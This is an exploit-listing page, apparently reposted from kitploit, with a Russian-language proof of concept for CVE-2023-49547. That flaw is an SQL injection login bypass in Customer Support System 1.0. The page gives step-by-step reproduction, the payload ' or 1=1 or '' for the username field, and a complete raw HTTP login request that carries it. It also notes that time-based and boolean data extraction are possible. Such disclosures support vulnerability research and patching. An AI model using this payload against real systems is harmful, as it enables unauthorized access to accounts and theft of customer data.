Sploitus

Exploit for CVE-2023-49547

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN44 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49547
# CVE-2023-49547

# Customer Support System 1.0 - ΠžΠ±Ρ…ΠΎΠ΄ Π²Ρ…ΠΎΠ΄Π° Ρ‡Π΅Ρ€Π΅Π· SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡŽ

**ОписаниС** : Customer Support System вСрсии 1.0 уязвим ΠΊ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡΠΌ. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π² Customer Support System 1.0 позволяСт ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ Π½Π΅Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ процСсс Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ username.

**Уязвимая вСрсия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°** : Customer Support System 1.0 **Автор CVE** : Geraldo AlcΓ’ntara **Π”Π°Ρ‚Π°** : 28/11/2023 **ΠŸΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΎ** : 19/12/2023 **CVE** : CVE-2023-49547 **ΠŸΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π½Π°** : Windows

### Π¨Π°Π³ΠΈ для воспроизвСдСния:

  1. ΠŸΠΎΡΠ΅Ρ‚ΠΈΡ‚Π΅ страницу Π²Ρ…ΠΎΠ΄Π°.
  2. ΠŸΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π²Ρ€Π΅Π΄ΠΎΠ½ΠΎΡΠ½ΡƒΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ (' or 1=1 or '') Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ username.
  3. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΎΠ±Ρ…ΠΎΠ΄Ρƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Π°ΠΊ Π½Π° основС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ логичСских Π°Ρ‚Π°ΠΊ.



Запрос: ΠžΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=login HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 54
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/login.php
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
    
    username='+or+1%3D1+or+''%3D'&password=password&type=1
    

ВрСмСнная Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°: 20 сСкунд ![time01](https://assets.kitploit.com/production/public/readmes/25810/8710599bf700fbfd3cf021836ccc48a2b631357e2de078f5af800a725fe37a9b.png)

ВрСмСнная Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°: 2 сСкунды ![time02](https://assets.kitploit.com/production/public/readmes/25810/56bc31510e782011962e8d1bfbd25b922f6d3bb795683f78749eb94ab5fbc1cb.png)

ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»(ΠΈ)/Авторы: Geraldo AlcΓ’ntara